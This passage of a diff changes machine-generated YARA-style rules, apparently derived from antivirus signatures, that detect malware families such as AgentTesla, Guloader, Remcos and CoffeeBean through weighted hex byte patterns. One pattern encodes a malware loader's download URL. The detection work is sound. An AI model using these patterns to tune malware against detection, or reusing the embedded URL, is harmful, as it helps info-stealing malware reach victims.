00 6a 00 68 90 01 03 00 6a 00 e8 90 01 03 ff 6a 00 6a 00 6a 90 01 01 68 } //-231 + $a_00_6 = {6a 00 e8 } //400 + $a_ff_7 = {e8 90 01 } //400 + $a_06_8 = {80 38 00 90 00 00 00 78 19 01 00 0a 00 0a 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 51 21 4d 54 42 00 01 00 36 01 43 68 65 73 73 41 6e 61 6c 79 73 65 72 2e 53 61 74 65 6c 6c 69 74 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 43 68 65 73 73 41 6e 61 6c 79 73 65 72 2e 53 61 74 65 6c 6c 69 74 65 2e 50 72 6f 70 65 72 } //-253 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25959+(#a_6c_2 & 1)*29547+(#a_71_3 & 1)*30039+(#a_72_4 & 1)*7+(#a_d1_5 & 1)*-231+(#a_00_6 & 1)*400+(#a_ff_7 & 1)*400+(#a_06_8 & 1)*-253) >=9 + +} +rule _InfrastructureShared_18009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 09 00 0a 00 21 " @@ -200187,7 +213586,7 @@ rule _InfrastructureShared_16898{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*19712+(#a_0f_2 & 1)*-31745+(#a_68_3 & 1)*284+(#a_74_5 & 1)*31059+(#a_03_6 & 1)*-28531+(#a_7e_8 & 1)*5378) >=9 } -rule _InfrastructureShared_16899{ +rule _InfrastructureShared_18010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -200202,7 +213601,7 @@ rule _InfrastructureShared_16899{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*8704+(#a_6e_2 & 1)*29555+(#a_6e_3 & 1)*29555+(#a_73_4 & 1)*21038+(#a_7e_5 & 1)*257) >=10 } -rule _InfrastructureShared_16900{ +rule _InfrastructureShared_18011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -200216,7 +213615,7 @@ rule _InfrastructureShared_16900{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*29897+(#a_00_3 & 1)*0+(#a_6c_4 & 1)*21870+(#a_47_5 & 1)*14132) >=10 } -rule _InfrastructureShared_16901{ +rule _InfrastructureShared_18012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -200234,7 +213633,7 @@ rule _InfrastructureShared_16901{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*21299+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_19_4 & 1)*0+(#a_3d_5 & 1)*25963+(#a_39_6 & 1)*1603+(#a_75_7 & 1)*25167+(#a_71_8 & 1)*8307) >=10 } -rule _InfrastructureShared_16902{ +rule _InfrastructureShared_18013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -200247,7 +213646,7 @@ rule _InfrastructureShared_16902{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*15726+(#a_90_2 & 1)*14660+(#a_66_3 & 1)*28417) >=11 } -rule _InfrastructureShared_16903{ +rule _InfrastructureShared_18014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -200267,7 +213666,7 @@ rule _InfrastructureShared_16903{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*29728+(#a_74_2 & 1)*25955+(#a_69_3 & 1)*25965+(#a_45_4 & 1)*18760+(#a_20_5 & 1)*9577+(#a_24_6 & 1)*9472+(#a_62_7 & 1)*12901+(#a_65_8 & 1)*11891+(#a_01_9 & 1)*30821+(#a_3a_10 & 1)*24938) >=11 } -rule _InfrastructureShared_16904{ +rule _InfrastructureShared_18015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0a 00 21 " @@ -200286,7 +213685,7 @@ rule _InfrastructureShared_16904{ ((#a_77_0 & 1)*16675+(#a_61_1 & 1)*25701+(#a_69_2 & 1)*25637+(#a_61_3 & 1)*11875+(#a_73_4 & 1)*26996+(#a_70_5 & 1)*261+(#a_6e_6 & 1)*27247+(#a_72_7 & 1)*29801+(#a_73_8 & 1)*28773+(#a_08_9 & 1)*1041) >=12 } -rule _InfrastructureShared_16905{ +rule _InfrastructureShared_18016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -200307,7 +213706,7 @@ rule _InfrastructureShared_16905{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25933+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_19_8 & 1)*0+(#a_72_9 & 1)*29295+(#a_65_10 & 1)*26979+(#a_00_11 & 1)*16) >=12 } -rule _InfrastructureShared_16906{ +rule _InfrastructureShared_18017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -200324,7 +213723,7 @@ rule _InfrastructureShared_16906{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*20993+(#a_75_2 & 1)*29541+(#a_2e_3 & 1)*27763+(#a_11_5 & 1)*24576+(#a_08_6 & 1)*1041+(#a_17_7 & 1)*4356+(#a_94_8 & 1)*12319) >=13 } -rule _InfrastructureShared_16907{ +rule _InfrastructureShared_18018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 21 " @@ -200338,7 +213737,7 @@ rule _InfrastructureShared_16907{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*2065+(#a_de_2 & 1)*4869+(#a_11_3 & 1)*24576+(#a_08_4 & 1)*1041) >=16 } -rule _InfrastructureShared_16908{ +rule _InfrastructureShared_18019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 1b 00 21 " @@ -200373,7 +213772,7 @@ rule _InfrastructureShared_16908{ ((#a_54_0 & 1)*18467+(#a_e9_1 & 1)*1280+(#a_00_2 & 1)*0+(#a_00_3 & 1)*-5887+(#a_e9_5 & 1)*1280+(#a_00_6 & 1)*0+(#a_00_7 & 1)*-5887+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*-1+(#a_01_13 & 1)*-1+(#a_01_14 & 1)*-1+(#a_01_15 & 1)*-1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_19_23 & 1)*0+(#a_00_24 & 1)*120+(#a_69_25 & 1)*25965+(#a_65_26 & 1)*28534) >=19 } -rule _InfrastructureShared_16909{ +rule _InfrastructureShared_18020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,34 00 32 00 0a 00 21 " @@ -200390,7 +213789,7 @@ rule _InfrastructureShared_16909{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29285+(#a_90_2 & 1)*30821+(#a_6c_3 & 1)*22115+(#a_65_4 & 1)*26988+(#a_69_5 & 1)*28261+(#a_3a_6 & 1)*21587+(#a_75_8 & 1)*1043) >=50 } -rule _InfrastructureShared_16910{ +rule _InfrastructureShared_18021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -200402,7 +213801,7 @@ rule _InfrastructureShared_16910{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*30055+(#a_3a_2 & 1)*23909) >=1 } -rule _InfrastructureShared_16911{ +rule _InfrastructureShared_18022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -200412,7 +213811,7 @@ rule _InfrastructureShared_16911{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_16912{ +rule _InfrastructureShared_18023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -200423,7 +213822,7 @@ rule _InfrastructureShared_16912{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*8194) >=2 } -rule _InfrastructureShared_16913{ +rule _InfrastructureShared_18024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -200434,7 +213833,7 @@ rule _InfrastructureShared_16913{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=2 } -rule _InfrastructureShared_16914{ +rule _InfrastructureShared_18025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -200446,19 +213845,32 @@ rule _InfrastructureShared_16914{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*4357+(#a_35_2 & 1)*1536) >=3 } -rule _InfrastructureShared_16915{ +rule _InfrastructureShared_18026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 4a 57 30 31 21 4d 54 42 00 01 00 75 03 57 3f 16 1f 09 1f 00 00 00 00 00 00 00 00 00 00 01 00 00 00 7d 00 00 00 8a 00 00 00 90 01 01 02 00 00 da 03 00 00 57 03 00 00 28 00 } //18467 $a_01_1 = {00 00 02 00 00 00 9a 00 00 00 1f 00 00 00 58 00 00 00 02 00 00 00 02 00 00 00 04 00 00 00 1f 00 00 00 01 00 00 00 31 00 00 00 80 00 00 00 01 00 00 00 04 00 00 00 02 00 00 00 1f 00 00 00 07 00 00 00 17 90 00 01 00 56 81 01 42 4e 4e 7a 37 5a 35 4c 71 76 4a 61 59 68 42 71 7a 4d 50 49 51 62 39 33 59 70 6c 67 4e 48 50 4d 34 31 38 39 6c 49 5a 63 56 52 55 4b 49 6b 76 70 44 78 36 58 79 54 79 49 6d 42 65 32 4a 57 71 47 6d 50 4a 59 4f 47 5a 72 75 4b 64 34 63 50 48 77 44 43 } //0 - $a_77_2 = {00 10 81 01 52 46 45 51 52 42 32 36 58 33 50 44 45 44 46 57 00 00 78 1a 01 00 03 00 03 00 06 00 21 23 41 4c 46 3a 48 53 54 52 3a 41 6c 69 70 61 79 3a 4d } //26478 + $a_77_2 = {00 10 81 01 52 46 45 51 52 42 32 36 58 33 50 44 45 44 46 57 00 00 78 1a 01 00 03 00 03 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f } //26478 condition: ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*0+(#a_77_2 & 1)*26478) >=3 } -rule _InfrastructureShared_16916{ +rule _InfrastructureShared_18027{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 66 66 65 65 42 65 61 6e 2e 47 21 64 68 61 00 01 00 37 01 2a 2a 2a 2a 2a 2a 2a 2a 2a 20 20 20 20 20 20 20 20 20 20 20 20 73 6e 61 6b 65 20 47 61 6d 65 20 20 20 20 20 20 20 20 20 20 20 } //16675 + $a_20_1 = {2a 2a 2a 2a 2a 2a 2a 2a 01 00 37 01 2a 2a 2a 2a 2a 2a 2a 2a 2a 20 20 20 20 20 20 20 20 20 20 20 } //8224 + $a_20_2 = {46 49 4e 49 53 48 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 2a 2a 2a 2a 2a 2a 2a 2a 01 00 } //8224 + $a_2a_3 = {2a 2a 2a 2a 2a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 47 4f 4f 44 42 59 45 20 20 20 20 20 20 20 20 20 20 20 20 20 } //312 ****** GOODBYE + condition: + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*8224+(#a_20_2 & 1)*8224+(#a_2a_3 & 1)*312) >=3 + +} +rule _InfrastructureShared_18028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -200473,7 +213885,7 @@ rule _InfrastructureShared_16916{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*65+(#a_6a_2 & 1)*29281+(#a_2e_3 & 1)*26986+(#a_00_4 & 1)*69+(#a_5a_5 & 1)*16697) >=3 } -rule _InfrastructureShared_16917{ +rule _InfrastructureShared_18029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -200486,7 +213898,7 @@ rule _InfrastructureShared_16917{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637+(#a_09_2 & 1)*11408+(#a_2d_3 & 1)*14637) >=4 } -rule _InfrastructureShared_16918{ +rule _InfrastructureShared_18030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -200499,7 +213911,7 @@ rule _InfrastructureShared_16918{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28561+(#a_73_2 & 1)*2560+(#a_01_3 & 1)*28440) >=4 } -rule _InfrastructureShared_16919{ +rule _InfrastructureShared_18031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -200513,7 +213925,7 @@ rule _InfrastructureShared_16919{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*19827+(#a_90_2 & 1)*20480+(#a_73_3 & 1)*28261+(#a_6f_4 & 1)*31342) >=5 } -rule _InfrastructureShared_16920{ +rule _InfrastructureShared_18032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -200527,7 +213939,7 @@ rule _InfrastructureShared_16920{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*25163+(#a_6e_2 & 1)*11877+(#a_73_3 & 1)*21620+(#a_6a_4 & 1)*385) >=5 } -rule _InfrastructureShared_16921{ +rule _InfrastructureShared_18033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -200539,7 +213951,7 @@ rule _InfrastructureShared_16921{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*18241+(#a_73_2 & 1)*29230) >=5 } -rule _InfrastructureShared_16922{ +rule _InfrastructureShared_18034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -200553,7 +213965,7 @@ rule _InfrastructureShared_16922{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*11016+(#a_08_2 & 1)*22551+(#a_55_3 & 1)*385+(#a_61_4 & 1)*21613) >=5 } -rule _InfrastructureShared_16923{ +rule _InfrastructureShared_18035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -200566,7 +213978,7 @@ rule _InfrastructureShared_16923{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_00_4 & 1)*121+(#a_35_5 & 1)*14384) >=5 } -rule _InfrastructureShared_16924{ +rule _InfrastructureShared_18036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -200581,7 +213993,7 @@ rule _InfrastructureShared_16924{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_64_2 & 1)*17665+(#a_44_3 & 1)*22341+(#a_53_4 & 1)*8993+(#a_39_5 & 1)*25442) >=6 } -rule _InfrastructureShared_16925{ +rule _InfrastructureShared_18037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -200597,7 +214009,7 @@ rule _InfrastructureShared_16925{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*11830+(#a_50_2 & 1)*17759+(#a_39_3 & 1)*25393+(#a_2f_4 & 1)*13166+(#a_72_5 & 1)*27759+(#a_61_6 & 1)*25927) >=7 } -rule _InfrastructureShared_16926{ +rule _InfrastructureShared_18038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -200613,7 +214025,7 @@ rule _InfrastructureShared_16926{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*25964+(#a_6c_2 & 1)*25959+(#a_6c_3 & 1)*16725+(#a_65_4 & 1)*26223+(#a_70_5 & 1)*25443+(#a_6a_6 & 1)*29268) >=7 } -rule _InfrastructureShared_16927{ +rule _InfrastructureShared_18039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -200630,7 +214042,7 @@ rule _InfrastructureShared_16927{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25958+(#a_5f_2 & 1)*25958+(#a_4d_3 & 1)*12853+(#a_78_4 & 1)*27508+(#a_01_5 & 1)*25445+(#a_4d_6 & 1)*28257+(#a_65_7 & 1)*385) >=8 } -rule _InfrastructureShared_16928{ +rule _InfrastructureShared_18040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -200642,13 +214054,13 @@ rule _InfrastructureShared_16928{ $a_54_4 = {53 } //-32504 S $a_6e_5 = {01 00 07 81 01 47 65 74 54 79 70 65 00 00 78 1a 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 46 31 33 33 21 4d 54 42 00 01 00 0b 81 01 47 65 74 52 65 73 70 6f 6e 73 65 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 08 81 01 47 65 74 42 79 } //29300 $a_01_6 = {00 07 81 01 54 6f 41 72 72 61 79 01 00 25 81 01 24 34 62 30 32 39 37 66 65 2d 63 63 31 63 2d 34 37 34 65 2d 62 62 34 66 2d 36 63 30 66 38 61 61 32 64 33 32 30 01 00 3e 81 01 2f 2f 63 65 6e 74 73 2d 61 62 69 6c 69 74 79 2e 6f 72 67 2f 6c 6f 61 64 65 72 2f 75 70 6c 6f 61 64 73 2f 77 69 74 68 6f 75 74 73 74 61 72 74 75 70 5f 53 75 79 79 62 6d 79 } //25972 - $a_6d_7 = {01 00 0d 81 01 4f 71 6a 6c 78 75 68 6d 6f 71 62 75 64 01 00 10 81 01 57 6d 67 6f 75 61 6b 78 67 69 6e 67 73 73 66 71 01 00 19 81 01 57 6c 68 71 78 64 73 6e 65 65 6c 63 75 2e 57 74 68 71 74 75 73 6b 70 6f 68 00 00 78 1a 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //11877 - $a_67_8 = {6e 74 54 65 73 6c 61 2e 53 4d 30 34 30 34 32 33 21 4d 54 42 00 01 00 11 01 4c 6f 73 74 45 6e 67 69 6e 65 2e 45 6e 67 69 6e 65 01 00 07 01 67 65 74 5f 58 61 72 01 00 07 01 67 65 74 5f 59 61 72 01 } //12108 + $a_6d_7 = {01 00 0d 81 01 4f 71 6a 6c 78 75 68 6d 6f 71 62 75 64 01 00 10 81 01 57 6d 67 6f 75 61 6b 78 67 69 6e 67 73 73 66 71 01 00 19 81 01 57 6c 68 71 78 64 73 6e 65 65 6c 63 75 2e 57 74 68 71 74 75 73 6b 70 6f 68 00 00 78 1a 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f } //11877 + $a_72_8 = {4c 4b 52 30 31 21 4d 54 42 00 01 00 15 81 01 68 69 70 70 6f 74 72 61 67 75 73 20 74 61 6c 6b 61 74 69 76 65 01 00 1b 81 01 67 61 6c 6f 70 62 61 6e 65 72 20 73 76 61 6e 73 65 72 20 63 69 74 65 72 69 6e 67 01 00 1c 81 01 73 74 69 6c 6c 65 68 61 76 73 73 74 61 74 65 6e 20 6b 75 6d 75 6c 75 73 73 6b 79 73 } //25697 condition: - ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29541+(#a_00_2 & 1)*31073+(#a_64_3 & 1)*385+(#a_54_4 & 1)*-32504+(#a_6e_5 & 1)*29300+(#a_01_6 & 1)*25972+(#a_6d_7 & 1)*11877+(#a_67_8 & 1)*12108) >=9 + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29541+(#a_00_2 & 1)*31073+(#a_64_3 & 1)*385+(#a_54_4 & 1)*-32504+(#a_6e_5 & 1)*29300+(#a_01_6 & 1)*25972+(#a_6d_7 & 1)*11877+(#a_72_8 & 1)*25697) >=9 } -rule _InfrastructureShared_16929{ +rule _InfrastructureShared_18041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -200656,17 +214068,30 @@ rule _InfrastructureShared_16929{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 46 31 33 33 21 4d 54 42 00 01 00 0b 81 01 47 65 74 52 65 73 70 6f 6e 73 65 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 08 81 01 47 65 74 42 79 74 65 73 01 00 07 81 01 } //18467 $a_72_1 = {61 79 01 00 25 81 01 24 34 62 30 32 39 37 66 65 2d 63 63 31 63 2d 34 37 34 65 2d 62 62 34 66 2d 36 63 30 66 38 61 61 32 64 33 32 30 01 00 3e 81 01 2f 2f 63 65 6e 74 73 2d 61 62 69 6c 69 74 79 2e } //28500 $a_2f_2 = {6f 61 64 65 72 2f 75 70 6c 6f 61 64 73 2f 77 69 74 68 6f 75 74 73 74 61 72 74 75 70 5f 53 75 79 79 62 6d 79 65 2e 62 6d 70 01 00 0d 81 01 4f 71 6a 6c 78 75 68 6d 6f 71 62 75 64 01 00 10 81 01 57 6d 67 6f 75 61 6b 78 67 69 6e 67 73 73 66 71 01 00 19 81 01 57 6c 68 71 78 64 73 6e 65 65 6c 63 75 2e 57 74 68 71 } //29295 - $a_6b_3 = {6f 68 00 00 78 1a 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 34 30 34 32 33 21 4d 54 42 00 01 00 11 01 4c 6f 73 74 45 6e 67 69 6e 65 2e 45 6e 67 69 6e 65 01 00 07 01 67 65 74 5f 58 61 72 01 00 07 01 67 65 74 5f 59 61 72 01 00 07 01 67 65 74 5f 5a 61 72 01 00 05 01 } //30068 - $a_61_4 = {01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 20 01 4c 6f 73 74 45 6e 67 69 6e 65 2e 52 65 73 6f 75 72 63 65 33 32 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1a 01 4c 6f 73 74 45 6e 67 69 6e 65 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 29 01 4c 6f 73 74 45 6e 67 69 6e 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e } //25955 - $a_6f_5 = {72 63 65 73 01 00 25 01 24 36 66 62 34 66 38 31 65 2d 34 61 65 32 2d 34 61 65 31 2d 62 63 63 35 2d 64 61 66 64 61 64 39 66 65 31 34 66 00 00 78 1a 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 4f 4c 31 32 33 21 4d 54 42 00 01 00 23 81 01 53 6f 66 74 77 61 72 65 5c 66 6a 6f 6c 6c 65 68 6f 76 65 } //25970 - $a_73_6 = {73 6b 6f 76 70 69 62 65 72 65 6e 01 00 0c 81 01 5c 62 6c 61 73 74 6f 63 68 65 6d 65 01 00 09 81 01 62 61 6e 64 61 67 70 73 72 01 00 16 81 01 5c 6e 6f 72 74 68 6d 61 6e 5c 42 65 6c 72 69 6e 67 73 2e 6d 65 64 01 00 0b 81 01 42 69 6c 6c 61 67 65 2e 6d 61 6a 01 00 0f 81 01 73 6b 72 69 64 6e 69 6e 67 65 6e 2e 74 61 6b 01 00 24 81 01 25 54 69 6c 67 61 } //25956 - $a_65_7 = {69 67 25 5c 4a 61 6e 6e 69 6b 31 33 32 5c 6d 6f 6e 6f 68 79 64 72 61 74 65 01 00 0d 81 01 74 6f 72 73 6b 65 64 75 6d 2e 68 6f 70 01 00 0e 81 01 75 72 73 70 72 6f 67 65 74 73 2e 62 79 7a 01 00 17 81 01 76 65 72 64 65 6e 73 6d 65 73 74 65 72 73 6b 61 62 65 74 2e 64 79 72 00 00 78 1a 01 00 0c 00 0c 00 0c 00 21 } //28261 - $a_54_8 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 50 4b 41 46 31 34 34 21 4d 54 42 00 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 } //18467 + $a_6b_3 = {6f 68 00 00 78 1a 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4b 52 30 31 21 4d 54 42 00 01 00 15 81 01 68 69 70 70 6f 74 72 61 67 75 73 20 74 61 6c 6b 61 74 69 76 65 01 00 1b 81 01 67 61 6c 6f 70 62 61 6e 65 72 20 73 76 61 6e 73 65 72 20 63 69 74 65 72 69 6e 67 01 00 1c 81 01 73 74 69 6c 6c 65 } //30068 + $a_73_4 = {74 61 74 65 6e 20 6b 75 6d 75 6c 75 73 73 6b 79 73 01 00 0e 81 01 61 6e 68 61 72 6d 6f 6e 69 63 2e 65 78 65 01 00 17 81 01 73 77 61 68 69 6c 69 20 67 6c 6f 73 74 73 20 73 75 62 74 6c 65 73 74 01 00 1d 81 01 6b 61 66 66 65 73 74 65 6c 6c 65 74 20 64 65 65 76 65 79 20 61 6e 74 69 67 65 6e 69 63 01 00 14 81 01 73 6b 61 66 74 68 75 6c 6c 65 72 20 68 61 63 } //24936 + $a_63_5 = {01 00 10 81 01 52 65 65 6d 70 68 61 73 69 73 65 64 2e 6b 69 6c 01 00 13 81 01 61 64 72 65 73 73 65 72 69 6e 67 65 72 6e 65 2e 6a 70 67 00 00 78 1a 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 34 30 34 32 33 21 4d } //28011 + $a_4c_7 = {73 } //4352 s + $a_67_8 = {6e 65 2e 45 6e 67 69 6e 65 01 00 07 01 67 65 74 5f 58 61 72 01 00 07 01 67 65 74 5f 59 61 72 01 00 07 01 67 65 74 5f 5a 61 72 01 00 05 01 63 65 76 61 72 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 20 01 4c 6f 73 74 45 6e 67 69 6e 65 2e 52 65 73 6f 75 72 63 65 33 32 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1a 01 4c 6f 73 } //17780 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28500+(#a_2f_2 & 1)*29295+(#a_6b_3 & 1)*30068+(#a_61_4 & 1)*25955+(#a_6f_5 & 1)*25970+(#a_73_6 & 1)*25956+(#a_65_7 & 1)*28261+(#a_54_8 & 1)*18467) >=9 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28500+(#a_2f_2 & 1)*29295+(#a_6b_3 & 1)*30068+(#a_73_4 & 1)*24936+(#a_63_5 & 1)*28011+(#a_4c_7 & 1)*4352+(#a_67_8 & 1)*17780) >=9 } -rule _InfrastructureShared_16930{ +rule _InfrastructureShared_18042{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4b 52 30 31 21 4d 54 42 00 01 00 15 81 01 68 69 70 70 6f 74 72 61 67 75 73 20 74 61 6c 6b 61 74 69 76 65 01 00 1b 81 01 67 61 6c 6f 70 62 61 6e 65 72 20 73 76 61 6e 73 65 72 20 63 69 74 65 72 69 6e } //18467 + $a_69_2 = {6c 65 68 61 76 73 73 74 61 74 65 6e 20 6b 75 6d 75 6c 75 73 73 6b 79 73 01 00 0e 81 01 61 6e 68 61 72 6d 6f 6e 69 63 2e 65 78 65 01 00 17 81 01 73 77 61 68 69 6c 69 20 67 6c 6f 73 74 73 20 73 75 62 74 6c 65 73 74 01 00 1d 81 01 6b 61 66 66 65 73 74 65 6c 6c 65 74 20 64 65 65 76 65 79 20 61 6e 74 69 67 65 6e 69 63 01 00 14 81 01 73 6b 61 66 74 68 } //29441 + $a_65_3 = {20 68 61 63 6b 6d 61 63 6b 01 00 10 81 01 52 65 65 6d 70 68 61 73 69 73 65 64 2e 6b 69 6c 01 00 